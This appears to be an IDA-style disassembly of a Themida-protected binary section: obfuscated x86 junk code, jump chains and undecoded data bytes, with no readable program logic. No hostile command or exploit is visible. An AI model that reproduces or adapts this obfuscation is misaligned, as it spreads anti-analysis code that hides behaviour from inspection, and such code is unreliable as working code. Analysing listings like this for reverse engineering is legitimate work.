mov [esp], ebx
push esi
mov esi, 1Ch
mov ebx, esi
pop esi
add ebx, 0B6675E6h
add ebx, edi
sub ebx, 0B6675E6h
push ecx
push ebp
mov ebp, 0
jmp loc_50D140
; ---------------------------------------------------------------------------
db 51h, 0B9h, 0
dd 0E9000000h, 0DFE3h, 0EC805966h, 0FDEC805Bh, 34FFE300h
dd 667FE924h, 0E6BF0000h, 4F447346h, 6F9AF781h, 0C7816B81h
dd 63332EA1h, 2414F757h, 0B9EF815Fh, 8155F877h, 1DCFDEC7h
dd 0E9FD01E9h, 0EDF3h, 2D3FC981h, 0E9814352h, 0D4B7C14h
dd 76F18149h, 0E9415883h, 10D36h, 5B2434FFh, 7F5D68h, 24048900h
dd 8904EC83h, 4812424h, 424h, 31E95800h
db 0EFh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_503CA3: ; CODE XREF: Themida_:0050C422j
push ebp
push edi
mov edi, 3A593672h
sub esp, 4
mov [esp], eax
push 7BBC4806h
mov eax, [esp]
add esp, 4
or eax, 264C6553h
push ebx
mov ebx, esp
jmp loc_5036EA
; ---------------------------------------------------------------------------
loc_503CC8: ; CODE XREF: Themida_:00507BCEj
push ecx
push 4
pop ecx
add edx, ecx
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_50BD6B
; ---------------------------------------------------------------------------
loc_503CE0: ; CODE XREF: Themida_:0050A5C8j
push 2E90h
mov [esp], edx
jmp loc_512CFC
; ---------------------------------------------------------------------------
aIP_mzsxs db '‰,$½p_MZé•s',0
align 2
word_503CFA dw 8B66h ; DATA XREF: Themida_:00502934o
dd 6852240Ch, 1907h, 2D79E9h, 0C4835800h, 0E9D83004h, 10DF7h
dword_503D14 dd 42474FFh, 0E924048Bh, 5E02h ; DATA XREF: Themida_:005029B8o
dword_503D20 dd 24048B66h, 1029AE9h, 0DF78000h, 0A9EF80h, 88535BFAh
; DATA XREF: Themida_:005029A0o
dd 5BFC88D7h, 58E3005Ah, 1C8BD800h, 73F16824h, 2C890000h
dd 815D5424h, 4C5h, 4C58100h, 87000000h, 285C242Ch, 0E9E72CD8h
dd 0D071h
; ---------------------------------------------------------------------------
loc_503D64: ; CODE XREF: Themida_:0050A2BCj
push ebx
pop edx
push 1EFCh
jmp loc_50D597
; ---------------------------------------------------------------------------
dd 79E168h, 24148900h, 3C1E6850h, 48B3C5Ch, 89E1E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_503D86: ; CODE XREF: Themida_:00512BBAj
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
mov [esp], edx
push 4
pop edx
and ecx, edx
push dword ptr [esp]
jmp loc_5069B0
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4832414h, 0B0AAE904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_503DAE: ; CODE XREF: Themida_:00502EA3j
sub ebx, 0C3DE1FDFh
jmp loc_50F9C9
; ---------------------------------------------------------------------------
loc_503DB9: ; CODE XREF: Themida_:005094BDj
xor eax, edx
jmp loc_50F7F3
; ---------------------------------------------------------------------------
dd 0FFED06E9h, 0D9E95AFFh, 890000A6h, 4C381E3h, 83000000h
dd 1C8704C3h, 0CF815C24h, 0DE1706Fh, 128DEE9h
db 0
; ---------------------------------------------------------------------------
loc_503DE5: ; CODE XREF: Themida_:00511DABj
pop esp
jmp loc_50E0E8
; ---------------------------------------------------------------------------
db 56h
dd 4046ACBEh, 5EF7290Bh, 49B3E9h, 240C8B00h, 4C481h, 0EE810000h
dd 6DD441D5h, 0E9240C8Bh, 12FB0h, 0E224F72Ch, 4EC8351h
dd 0E9241C89h, 1358Bh, 815AD031h, 0CB4E5DE9h, 5214E91Dh
dd 0C7810000h, 4, 4EF81h, 92E90000h, 5C0000AFh, 16B1BE56h
dd 0B850187Eh, 0
dd 5F66E9h, 0E9CB3000h, 26E8h, 51240489h, 0B03908B9h, 0EDFE965h
dd 0EE810001h, 7A165C12h, 0EEFEE81h, 0DE01423Dh, 0EEFC681h
dd 0C681423Dh, 7A165C12h, 5B2434FFh, 1134AE9h, 241C8B00h
dd 5FEF68h, 0B11DE900h, 535A0000h, 0DE88E388h, 0CE9585Bh
db 14h, 1, 0
; ---------------------------------------------------------------------------
loc_503EA3: ; CODE XREF: Themida_:005087E6j
xor ebx, [esp]
pop esp
xor al, bl
jmp loc_512A54
; ---------------------------------------------------------------------------
loc_503EAE: ; CODE XREF: Themida_:00507D9Fj
add dword ptr [esp], 4
pop esi
add esi, 4
jmp loc_50C59F
; ---------------------------------------------------------------------------
aLSn db '‹$$é&',0
align 2
dw 0E953h
dd 130A1h, 6804C483h, 61A7h, 71C4E9h, 0CFF5200h, 0B8505A24h
dd 17684310h, 0C3E9C221h, 81000127h, 4C4h, 240C8B00h, 815A5452h
dd 4C2h, 4C28100h, 0E9000000h, 0B257h, 932037BAh, 7791686Bh
dd 4890000h, 7B07B824h, 232D1CA7h, 31123B71h, 0E95058C2h
dd 3370h
; ---------------------------------------------------------------------------
loc_503F28: ; CODE XREF: Themida_:00510E03j
pop ecx
jmp loc_50FE8A
; ---------------------------------------------------------------------------
loc_503F2E: ; CODE XREF: Themida_:00506F18j
mov esp, [esp]
mov [esp], eax
jmp loc_512B95
; ---------------------------------------------------------------------------
db 81h, 0EEh, 0FDh
dd 0E900A93Ch, 0A1DFh, 0BBA1E993h, 0E0BF0000h, 31307054h
dd 9B2D5FFAh, 56CFD0Bh, 3DF0897h, 972DD001h, 503DF08h
dd 6CFD0B9Bh, 5A2434FFh, 4C481h, 0BF570000h, 1C9F22AAh
dd 34FFFB01h, 0C4815F24h, 4, 1BB8E9h
db 0
; ---------------------------------------------------------------------------
loc_503F89: ; CODE XREF: Themida_:00502E41j
mov ecx, 9871BFEh
sub ebp, ecx
pop ecx
pop eax
and eax, ebp
push dword ptr [esp]
mov ebp, [esp]
push eax
mov eax, esp
jmp loc_50B8AE
; ---------------------------------------------------------------------------
aLHd db '‹$$hD!',0
align 2
dw 0C89h
dd 0E9E18924h, 9A16h, 2404895Ch, 0ABE9E089h, 0F7000082h
dd 2A4625D8h, 0E9515D5Eh, 101A2h, 0D6F7F587h, 0E5C1F587h
dd 8CCD8105h, 502ADD39h, 856DE9B8h, 58C501CEh, 2C8BEA89h
dd 4C48324h, 0BBE9D529h, 66000096h, 9C240CD3h, 0DD63E9h
dd 54C38000h, 8DC0B60Fh, 9D688704h, 89000013h, 79E92414h
db 3Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_504013: ; CODE XREF: Themida_:005057ABj
push eax
push 3036h
jmp loc_504E15
; ---------------------------------------------------------------------------
loc_50401E: ; CODE XREF: Themida_:0050AD99j
mov esp, [esp]
jmp loc_5135AF
; ---------------------------------------------------------------------------
loc_504026: ; CODE XREF: Themida_:005087DEj
add eax, 4
jmp loc_504C10
; ---------------------------------------------------------------------------
dd 0C108E6C1h, 0F68102EEh, 153F71Bh, 55EF329h, 0E1D5AFBh
dd 0FB2DD801h, 8B0E1D5Ah, 0C481241Ch, 4, 0F177E9h, 241C8900h
dd 56E08950h, 2A4336BEh, 81DEF744h, 2A433AC6h, 5EF00144h
dd 42Dh, 24048700h, 1697E95Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50407E: ; CODE XREF: Themida_:0050B078j
xor dl, 76h
sub cl, dl
pop edx
sub bh, cl
jmp loc_5151AB
; ---------------------------------------------------------------------------
db 5Dh
dd 4C481h, 0EA810000h, 2, 0E9241433h, 5A73h, 0E9C0B70Fh
dd 893Eh
; ---------------------------------------------------------------------------
loc_5040A8: ; CODE XREF: Themida_:00517294j
mov [esp], ebx
mov ebx, 452670E2h
and ebx, 7F4328B4h
shr ebx, 6
dec ebx
and ebx, 40BA62F7h
shl ebx, 7
push edx
jmp loc_50A75B
; ---------------------------------------------------------------------------
db 87h, 34h, 24h
dd 240C895Ch, 4B9h, 8BCF2900h, 8DE9240Ch, 68000053h, 0
dd 124A9E9h, 4E9C100h, 989E181h, 0ECE90F04h, 8B0000E9h
dd 0C481242Ch, 4, 5C24048Fh, 9C243CD2h, 0FEA9E9h, 81D5F700h
dd 1C3226C5h, 71A46842h, 4890000h, 861DE924h, 0D400000h
dd 3D310564h, 0E9484048h, 3393h, 82607E35h, 4EC8311h, 68240C89h
dd 129879DFh, 59C82959h, 0E9E9h, 0D9295800h, 11CC6E9h
db 0
; ---------------------------------------------------------------------------
loc_504151: ; CODE XREF: Themida_:0050C7B2j
pop ebp
sub esp, 4
mov [esp], eax
mov eax, 12CA6821h
push 5865h
mov [esp], esi
jmp loc_511565
; ---------------------------------------------------------------------------
dw 0C681h
dd 4, 3304EE83h, 34312434h, 9487E924h, 74FF0000h, 8F5D0424h
dd 535C2404h, 4BBh, 8BDA0100h, 0C483241Ch, 1848E904h, 0EC830001h
dd 24048904h, 0F012ECB8h, 22403504h, 10E97A77h
db 0CEh, 2 dup(0)
byte_5041AF db 8Fh ; DATA XREF: Themida_:005027E8o
dd 0E915E902h, 3489FFFFh, 56CD6824h, 0C890000h, 8B96624h
dd 0E9516663h, 0E085h, 0C8BCC00h, 4C48124h, 5B000000h
dd 0FE9E688h
db 0EDh, 2 dup(0FFh)
byte_5041DF db 8Bh ; DATA XREF: Themida_:0050288Co
dd 6C68240Ch, 8900005Ch, 0DC68243Ch, 54000061h, 0E924048Fh
dd 12228h, 0FF2434FFh, 835B2434h, 0E46804C4h, 89000027h
dd 68E9240Ch, 100007Dh, 0C1015EF0h, 8B2434FFh, 0C4812404h
dd 4, 0D09EE9h
db 0
; ---------------------------------------------------------------------------
loc_504225: ; CODE XREF: Themida_:00512B90j
push ecx
mov ecx, 37FC0EE5h
dec ecx
push eax
jmp loc_51304B
; ---------------------------------------------------------------------------
dw 8150h
dd 4ECh, 0F242E900h, 0FF510000h, 8B042474h, 0C0E9240Ch
db 3Dh, 2 dup(0)
byte_50424B db 0FFh ; DATA XREF: Themida_:005029ACo
dd 0B8E92434h, 5800000Ch, 405h, 2E88300h, 8B240487h, 89662424h
dd 3E9240Ch, 10000B8h, 5B04245Ch, 8952505Ah, 4C281E2h
dd 81000000h, 4EAh, 24148700h, 0C4DEE95Ch, 5B660000h, 4EC8153h
dd 0E9000000h, 0BFA5h, 81E28952h, 4C2h, 4C28300h, 5C241487h
dd 2474FF51h, 48F5904h, 0E9565C24h, 10F48h
; ---------------------------------------------------------------------------
loc_5042B8: ; CODE XREF: Themida_:005140D9j
sub ecx, eax
add ecx, 557300B4h
pop eax
jmp loc_514AAD
; ---------------------------------------------------------------------------
loc_5042C6: ; CODE XREF: Themida_:0050C991j
pop edi
jmp loc_507048
; ---------------------------------------------------------------------------
aZsyr db 'ZéY',0
align 2
dw 0E95Ah
dd 2C8h, 0ABB1515Bh, 80E0E980h, 0CC30B9C1h, 5E4C059h, 0FEC0F480h
dd 0E9DCF6C4h, 0CBA5h, 652FACB8h, 5DE8317Bh, 5A75140Dh
dd 77F12D39h, 0EF813B5Ah, 37ED44D3h, 27FBEF81h, 0C70174F6h
dd 27FBC781h, 0C78174F6h, 37ED44D3h, 8124048Bh, 4C4h, 0BF575200h
dd 2, 84A9E9h, 5AD72900h, 5C243C87h, 0E9243489h, 508Fh
dd 0FFFFFFBAh, 8BD729FFh, 0C4812414h, 4, 1F0D6853h, 0E95B210Fh
dd 7CD5h, 0EC815866h, 4, 0E9240489h, 0A86Ah, 0E9240487h
dd 0B50Ah, 727AE981h, 51504228h, 0E0591B9h, 59C8896Bh
dd 8158C121h, 2764A5F1h, 59CB0139h, 0F353E9h, 24348B00h
dd 4C481h, 0BB530000h, 2Ch, 6920E9h
db 0
; ---------------------------------------------------------------------------
loc_5043AD: ; CODE XREF: Themida_:0050FE1Aj
sub ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
jmp loc_5061E3
; ---------------------------------------------------------------------------
aBOz@s2a db 'ÅozÜ@é2a',0
align 2
dw 3C8Bh
dd 4EC8124h, 0E9000000h, 2AA6h, 2E46E95Ch, 348B0001h, 4C48124h
dd 33000000h, 2C31242Ch, 242C3324h, 386FE95Ch, 0E8680001h
dd 0E930592Ch, 10A87h, 0C4E95A59h, 4BFFFFE6h, 85BF5751h
dd 8916EECFh, 0BBF6E9F9h, 48660000h, 2FCE0566h, 6FD83566h
dd 0E9C12966h, 4BC0h, 0E96DC380h, 0E991h, 81242C8Bh, 4C4h
dd 3E95300h
db 5Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50443F: ; CODE XREF: Themida_:00509BE4j
sub ecx, 78EF5A8Ah
mov esi, [esp]
add esp, 4
push 641Eh
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
mov eax, [esp]
push 63B9h
mov [esp], eax
jmp loc_512419
; ---------------------------------------------------------------------------
loc_50446C: ; CODE XREF: Themida_:00502F3Ej
pop eax
shl eax, 5
or eax, 6A5E2BC7h
and eax, 65A27526h
push esi
push 87F6004h
jmp loc_504825
; ---------------------------------------------------------------------------
db 81h, 0C2h, 0CFh
dd 0C1537817h, 0EAC103E2h, 4EE95704h
db 0FEh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_504497: ; CODE XREF: Themida_:0050C702j
dec edx
sub edx, 0F4EEC217h
jmp loc_516234
; ---------------------------------------------------------------------------
loc_5044A3: ; CODE XREF: Themida_:005081D2j
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], eax
push 2775h
mov [esp], edx
push dword ptr [esp+4]
pop edx
jmp loc_508F80
; ---------------------------------------------------------------------------
dd 8904EC83h, 32682414h, 5A3F6B7Fh, 15AD301h, 32BF57C3h
dd 0E93F6B7Fh, 0F1ABh
; ---------------------------------------------------------------------------
loc_5044E4: ; CODE XREF: Themida_:0050870Dj
sub [esp+4], ebp
push ebx
mov ebx, 58733E6Ah
jmp loc_502D5D
; ---------------------------------------------------------------------------
db 5Ah
dd 0FFFFC581h, 0EDD1FFFFh, 11B6BE9h, 81E78900h, 4C7h, 4C78300h
dd 68E7E9h
db 0
; ---------------------------------------------------------------------------
loc_504511: ; CODE XREF: Themida_:0050AA13j
pop ecx
push edx
push esp
pop edx
push 73D8h
mov [esp], ebx
mov ebx, 4
add edx, ebx
pop ebx
push ebx
jmp loc_509AB2
; ---------------------------------------------------------------------------
loc_50452B: ; CODE XREF: Themida_:0050DC29j
add ebp, 96C4A209h
mov esi, ebp
mov ebp, [esp]
add esp, 4
add esi, ecx
pop ecx
add esi, 574424AAh
jmp loc_503A22
; ---------------------------------------------------------------------------
db 31h
dd 0EC835BD8h, 24348904h, 8904EC83h, 0E9542404h, 2303h
dd 4B9h, 4019E900h, 89510000h, 0CAE956E1h, 8100010Ah, 4C1h
dd 4C18100h, 0E9000000h, 0B026h, 4B9h, 59CF0100h, 2C781h
dd 89520000h, 4C281E2h, 83000000h, 0E95204EAh, 435Dh, 2474FF55h
dd 7E1E904h, 895A0001h, 0C58158C5h, 231C43F5h, 0C152ED81h
dd 0DE936FDh
db 0DFh, 2 dup(0)
byte_5045BF db 66h ; DATA XREF: Themida_:005028C4o
dd 53240C8Bh, 2D5EE954h, 315B0001h, 0ACBAE9D0h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5045D2: ; CODE XREF: Themida_:0050BD78j
mov esp, [esp]
mov [esp], edx
mov edx, esp
add edx, 4
jmp loc_51058D
; ---------------------------------------------------------------------------
aFbVyslf db 'fÍVYé«ä',0
db 0
; ---------------------------------------------------------------------------
loc_5045EF: ; CODE XREF: Themida_:00512A95j
push ecx
jmp loc_515D63
; ---------------------------------------------------------------------------
db 0B8h, 4, 0
dd 44010000h, 8B580424h, 0C4812414h, 4, 8904EC83h, 0EC83241Ch
dd 240C8904h, 2713FAB9h, 64E94915h, 8900000Fh, 0E789243Ch
dd 45D568h, 24048900h, 0A85415B8h, 0DD68576Ah, 5F3CE118h
dd 0AAC7814Fh, 8128EE32h, 656C2CEFh, 9AB9511Ch, 0C164224Fh
dd 0B8E906E9h, 46FFFFEFh, 0A2CCE81h, 0EE8146E5h, 4B321830h
dd 415EF109h, 0C858F181h, 0D9E9A077h
db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50466F: ; CODE XREF: Themida_:005109BAj
mov [esp], edi
mov edi, esp
add edi, 4
sub esp, 4
mov [esp], ecx
jmp loc_50EE89
; ---------------------------------------------------------------------------
a_S5g db '_]é5£',0
dw 5A00h
dd 0AD99E9h
db 0
; ---------------------------------------------------------------------------
loc_504695: ; CODE XREF: Themida_:0050F93Bj
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_506217
; ---------------------------------------------------------------------------
dd 0F6E9455Bh, 5A00011Fh, 3359CA01h, 14312414h, 24143324h
dd 2124248Bh, 0E95A1C57h, 0FFFFE403h
; ---------------------------------------------------------------------------
loc_5046C8: ; CODE XREF: Themida_:00511FDCj
xchg edi, [esp]
pop esp
mov [esp], ebp
mov ebp, esp
push esi
mov esi, 4
jmp loc_50AB18
; ---------------------------------------------------------------------------
dd 81E78957h, 4C7h, 4C78300h, 5C243C87h, 28F2B151h, 0D80059C8h
dd 0CC68F204h, 89000002h, 0B050241Ch, 0C18851B0h, 5859CB88h
dd 1C8BD800h, 72DFE924h, 0A9680000h, 5B781157h, 13239E9h
dd 2434FF00h, 582434FFh, 3C8B5457h, 4C48324h, 4EC8353h
dd 0B8240489h, 37877EB9h, 0E9585B50h, 72DCh, 0D5E9CD89h
dd 52000109h, 47E9E289h
db 57h, 2 dup(0)
byte_50474F db 0FFh ; DATA XREF: Themida_:0050294Co
dd 34FF2434h, 24048B24h, 0E904C483h, 0E402h, 68515359h
dd 34CE383Dh, 0F7E2E959h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50476E: ; CODE XREF: Themida_:00511A4Ej
sub ebp, 0A1BBC7F6h
sub edi, ebp
pop ebp
push ebx
mov ebx, 5C113097h
sub edi, ebx
pop ebx
push dword ptr [esp]
pop ebp
add esp, 4
and ecx, edi
jmp loc_516923
; ---------------------------------------------------------------------------
word_50478E dw 0AD66h ; DATA XREF: Themida_:00502920o
dd 4EC81h, 1BE90000h, 31FFFFFAh, 0DEDFE9DDh
db 2 dup(0)
word_5047A2 dw 8B66h ; DATA XREF: Themida_:00502878o
dd 8952240Ch, 42BB53E2h, 576E8A4Ch, 775155BFh, 74CF8112h
dd 4733E53Bh, 0A9EF8147h, 11DF0FCh, 0E3C15FFBh, 81DBF702h
dd 0BCD3C4F3h, 8BDA01EDh, 21E9241Ch
db 0E7h, 2 dup(0FFh)
byte_5047DB db 0FFh ; DATA XREF: Themida_:005028C0o
dd 34FF2434h
db 24h, 59h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push 1B69h
jmp loc_510388
; ---------------------------------------------------------------------------
db 89h
dd 24BB241Ch, 81226F05h, 7E610AE3h, 0CEBF5757h, 0F7136F46h
dd 0B7E953DFh, 500009Fh, 48648004h, 3852E9h
db 0
; ---------------------------------------------------------------------------
loc_504825: ; CODE XREF: Themida_:00504480j
push dword ptr [esp]
jmp loc_502EBA
; ---------------------------------------------------------------------------
aZsz db ')ÓZé§Ó',0
dd 53055F00h, 553A2107h, 0CA76CBBDh, 1EED8148h, 815FA94Ch
dd 117BA2E5h, 85E58177h, 0E96B612Fh, 74CCh, 5BD88959h
dd 8904EC83h, 0DEBB241Ch, 817D8040h, 0DC3BCEEAh, 81DA0116h
dd 0DC3BCEC2h, 0B2E95B16h, 4000099h, 0E9480420h, 1366Ch
dd 75BD555Ah, 902C855h, 0E9535DEFh, 5463h
; ---------------------------------------------------------------------------
loc_504894: ; CODE XREF: Themida_:00503111j
pop edi
pop eax
sub eax, edi
pop edi
jmp loc_50A747
; ---------------------------------------------------------------------------
loc_50489E: ; CODE XREF: Themida_:0051600Dj
add ecx, ebp
pop ebp
add ecx, 4
jmp loc_5133A2
; ---------------------------------------------------------------------------
loc_5048AC: ; CODE XREF: Themida_:0050CF37j
mov esi, 4
jmp loc_510F6F
; ---------------------------------------------------------------------------
dw 0EC83h
dd 243C8904h, 2BFh, 2C59E900h, 0C3010000h, 8D1DE9h
db 0
; ---------------------------------------------------------------------------
loc_5048CD: ; CODE XREF: Themida_:0051572Ej
pop dword ptr [esp]
pop esp
mov [esp], edi
xor dword ptr [esp], 2FEF5D6Ah
pop eax
push 67D2h
mov [esp], esi
mov esi, 2FEF5D6Ah
xor eax, esi
pop esi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
push ebx
mov ebx, esp
push ebp
jmp loc_512FA5
; ---------------------------------------------------------------------------
dw 0BA52h
dd 31BE3B59h, 102C2E9h, 0BE95200h, 510000F0h, 0FB25D2B9h
dd 59CA894Bh, 895AD331h, 0A1E95BD8h, 0B9000060h, 40374536h
dd 0E949E9D1h, 2577h, 2474FF52h, 48F5A04h, 24248B24h, 4C98E9h
dd 0C1895800h, 4C015F58h, 0D2E90424h
db 3Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50494F: ; CODE XREF: Themida_:0050A295j
xchg ebp, [esp]
pop esp
jmp loc_5098EB
; ---------------------------------------------------------------------------
loc_504958: ; CODE XREF: Themida_:0050D213j
mov ebp, 0
sub ebp, ebx
mov ebx, ebp
pop ebp
shl ebx, 5
inc ebx
push 427Fh
mov [esp], edi
jmp loc_50C98C
; ---------------------------------------------------------------------------
loc_504973: ; CODE XREF: Themida_:00508CB1j
add esi, 4
xchg esi, [esp]
pop esp
add esp, 4
push 1707h
jmp loc_50DF6F
; ---------------------------------------------------------------------------
dw 0C89h
dd 0B5515024h, 80CDFEAEh, 0C58042CDh, 0BAF5802Eh, 8159E888h
dd 4ECh, 24048900h, 885296B4h, 5AF588E6h, 1C16E958h, 51500000h
dd 0EC88DD88h, 58E58859h, 0E9EA8852h, 1160Eh, 8107E1C1h
dd 3517BE1h, 5FBB537Fh, 2969FF57h, 3E41E9D9h, 0B5680000h
dd 8900006Eh, 0B8502424h, 4, 4244401h, 0BAFAE9h, 0BF575A00h
dd 2F3364C5h, 0EF46E9h
db 0
; ---------------------------------------------------------------------------
loc_504A01: ; CODE XREF: Themida_:00515626j
xchg ebp, [esp]
mov esp, [esp]
push eax
mov eax, 4
jmp loc_508787
; ---------------------------------------------------------------------------
loc_504A12: ; CODE XREF: Themida_:0050FEEAj
mov ebx, 125A3C57h
and ecx, ebx
pop ebx
push ecx
jmp loc_510423
; ---------------------------------------------------------------------------
dd 65C28159h, 13C2C2Dh, 65EA81F2h, 5E3C2C2Dh, 34E9D501h
dd 450000E6h, 43F5814Dh, 81513167h, 78D15BC5h, 25ADE9EEh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_504A4A: ; CODE XREF: Themida_:0050F39Dj
shr ecx, 4
xor ecx, 5B447441h
sub ecx, 4980E850h
xor ebx, ecx
pop ecx
jmp loc_512809
; ---------------------------------------------------------------------------
db 88h, 3Ah, 8Bh
dd 0B6E9241Ch
db 3, 1, 0
; ---------------------------------------------------------------------------
loc_504A6B: ; CODE XREF: Themida_:00510AE9j
add esi, 4
push 0A3Eh
mov [esp], eax
jmp loc_516080
; ---------------------------------------------------------------------------
loc_504A7E: ; CODE XREF: Themida_:00515C2Cj
pop edi
xor edi, ecx
pop ecx
sub ebx, edi
pop edi
xchg ebx, [esp]
pop esp
mov [esp], edx
mov edx, 4
jmp loc_50EA6D
; ---------------------------------------------------------------------------
loc_504A96: ; CODE XREF: Themida_:0051368Aj
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ecx
push esp
jmp loc_509A10
; ---------------------------------------------------------------------------
aLSxo db '‹<$éXŽ',0
db 0
; ---------------------------------------------------------------------------
loc_504AB9: ; CODE XREF: Themida_:005039C2j
mov [esp], esi
jmp loc_50339F
; ---------------------------------------------------------------------------
loc_504AC1: ; CODE XREF: Themida_:00513192j
mov ecx, 31DC6C90h
xor ecx, 43F608C0h
shl ecx, 7
not ecx
add ecx, 383651CBh
xor edi, ecx
mov ecx, [esp]
add esp, 4
or edi, 1A70399Fh
shl edi, 3
xchg edx, edi
jmp loc_50C9DB
; ---------------------------------------------------------------------------
dd offset byte_52B568
dw 0E900h
dd 412Bh, 497A68h, 243C8900h, 1339CE9h, 7B102D00h, 0EC8342B3h
dd 0E203E904h, 8197FFFFh, 0CD5FC8C7h, 0FB63E9CEh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_504B22: ; CODE XREF: Themida_:0050BFAEj
push ebp
mov ebp, 7B47186Ch
add ebx, ebp
pop ebp
pop ecx
xchg ebx, [esp]
mov esp, [esp]
mov [esp], eax
sub esp, 4
mov [esp], edx
mov edx, 40C95F77h
sub edx, 1
jmp loc_50F3A2
; ---------------------------------------------------------------------------
dd 61177F2Dh, 0AAD12D22h, 0C7012746h, 8324048Bh, 0EF8104C4h
dd 4, 0DFDCE9h, 58C50100h, 0E95DEB89h, 0CDB2h, 2CB9515Bh
dd 0C1156457h, 0F9E905E1h, 5FFFFFF7h, 0B3E7814Fh, 81645908h
dd 0B024A0F7h, 5FF88909h, 5C8E9h
db 0
; ---------------------------------------------------------------------------
loc_504B95: ; CODE XREF: Themida_:0051212Ej
sub esp, 4
mov [esp], edx
mov edx, 256C3D3Ah
jmp loc_51132C
; ---------------------------------------------------------------------------
dd 4EF8158h, 29D9FD84h, 0D1015FF9h, 4124BE56h, 73E90342h
dd 5C00006Ah, 56242489h, 0F992E951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_504BCA: ; CODE XREF: Themida_:005094EBj
xor ebp, 470FE27Dh
add ebx, ebp
jmp loc_510D55
; ---------------------------------------------------------------------------
db 89h
dd 4C381E3h, 0E9000000h, 0DB35h
; ---------------------------------------------------------------------------
loc_504BE4: ; CODE XREF: Themida_:00515096j
mov eax, 1F753914h
sub edi, eax
push dword ptr [esp]
jmp loc_50DAC8
; ---------------------------------------------------------------------------
db 0B1h
dd 2883B21Ch, 6E959CAh, 52000091h, 6F4FA4BAh, 38F28117h
dd 0E9194C12h, 0E032h
; ---------------------------------------------------------------------------
loc_504C10: ; CODE XREF: Themida_:0050402Bj
push eax
push dword ptr [esp+4]
jmp loc_508379
; ---------------------------------------------------------------------------
dw 0EA80h
dd 0E9D420CFh, 12CC0h, 884496BBh, 1320E973h, 0F3810001h
dd 1C325E7Ah, 6660CB81h, 0F3812670h, 0BEFDE6EDh, 0B096E9h
db 0
; ---------------------------------------------------------------------------
loc_504C45: ; CODE XREF: Themida_:00516650j
add esi, ebp
pop ebp
push edx
mov edx, 4
sub esi, edx
pop edx
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
mov [esp], esi
push 41ADh
mov [esp], edi
mov edi, 1FFF50C8h
sub esp, 4
mov [esp], eax
jmp loc_50F311
; ---------------------------------------------------------------------------
dw 0D7F7h
dd 7DA9E9h, 24048900h, 0FF2434FFh, 1C8B2434h, 4C48124h
dd 83000000h, 826804C4h, 89000009h, 8B542434h
db 34h, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5149D8
; ---------------------------------------------------------------------------
dd 4C481h, 0A6680000h, 8900003Eh, 0EC832414h, 0F9E9E904h
dd 0FF550000h, 0E9042474h, 13050h
dword_504CCC dd 4A6A05ADh, 95687212h, 89000030h, 7DB9240Ch, 81233421h
; DATA XREF: Themida_:005029F8o
dd 1961A2F1h, 1582052Ah, 0BD2D1ED3h, 0E9514201h, 8D31h
; ---------------------------------------------------------------------------
loc_504CF4: ; CODE XREF: Themida_:0051615Ej
pop ecx
sub bh, 61h
xor bh, 0E7h
push ebx
not byte ptr [esp+1]
jmp loc_51323C
; ---------------------------------------------------------------------------
loc_504D05: ; CODE XREF: Themida_:00513B4Aj
pop edi
sub ebp, 4
jmp loc_50714C
; ---------------------------------------------------------------------------
dw 0ED81h
dd 39A17AA0h, 66C8F581h, 524D1BB3h, 31637EBAh, 0E2C1424Eh
dd 4ADAF708h, 7C8AF281h, 0C4E90C94h, 0F7000124h, 0E95A2414h
dd 6785h, 4244C31h, 0E9028F59h, 0EF1Dh
; ---------------------------------------------------------------------------
loc_504D48: ; CODE XREF: Themida_:0050A301j
neg ecx
xor ecx, 6F3F7524h
sub ecx, 0BD06A3C0h
or eax, ecx
pop ecx
xor eax, 4A263104h
push edi
mov edi, 0C9974ABh
or eax, edi
pop edi
sub eax, 7BF5772Eh
add ecx, eax
pop eax
push edx
push ecx
mov ecx, 23CF6B35h
shr ecx, 3
push esi
mov esi, 499066B9h
and ecx, esi
pop esi
sub ecx, 106420h
mov edx, ecx
mov ecx, [esp]
add esp, 4
push ebp
mov ebp, 43EB4359h
add edx, ebp
jmp loc_505F90
; ---------------------------------------------------------------------------
loc_504D9D: ; CODE XREF: Themida_:0050C95Cj
pop ebx
jmp loc_513131
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 0C7ECE900h, 8D050000h, 81456EF1h, 50174EEBh, 81C32959h
dd 50174EC3h, 55535859h, 69350ABDh, 246C0124h, 55595D04h
dd 186D1ABDh, 4DDDF71Dh, 5108F581h, 0CD8160DCh, 752371E7h
dd 0C6E5F581h, 0E929D352h, 241C8B5Dh, 104C483h, 2434FFCAh
dd 81240C8Bh, 4C4h, 0E2895200h, 4C281h, 0C2830000h, 24148704h
dd 5FDDE9h
db 0
; ---------------------------------------------------------------------------
loc_504E15: ; CODE XREF: Themida_:00504019j
mov [esp], edi
jmp loc_50A9EE
; ---------------------------------------------------------------------------
db 54h, 58h, 57h
dd 6E396BBFh, 0FFEF8169h, 81FFFFFFh, 0FE6768CFh, 98C78106h
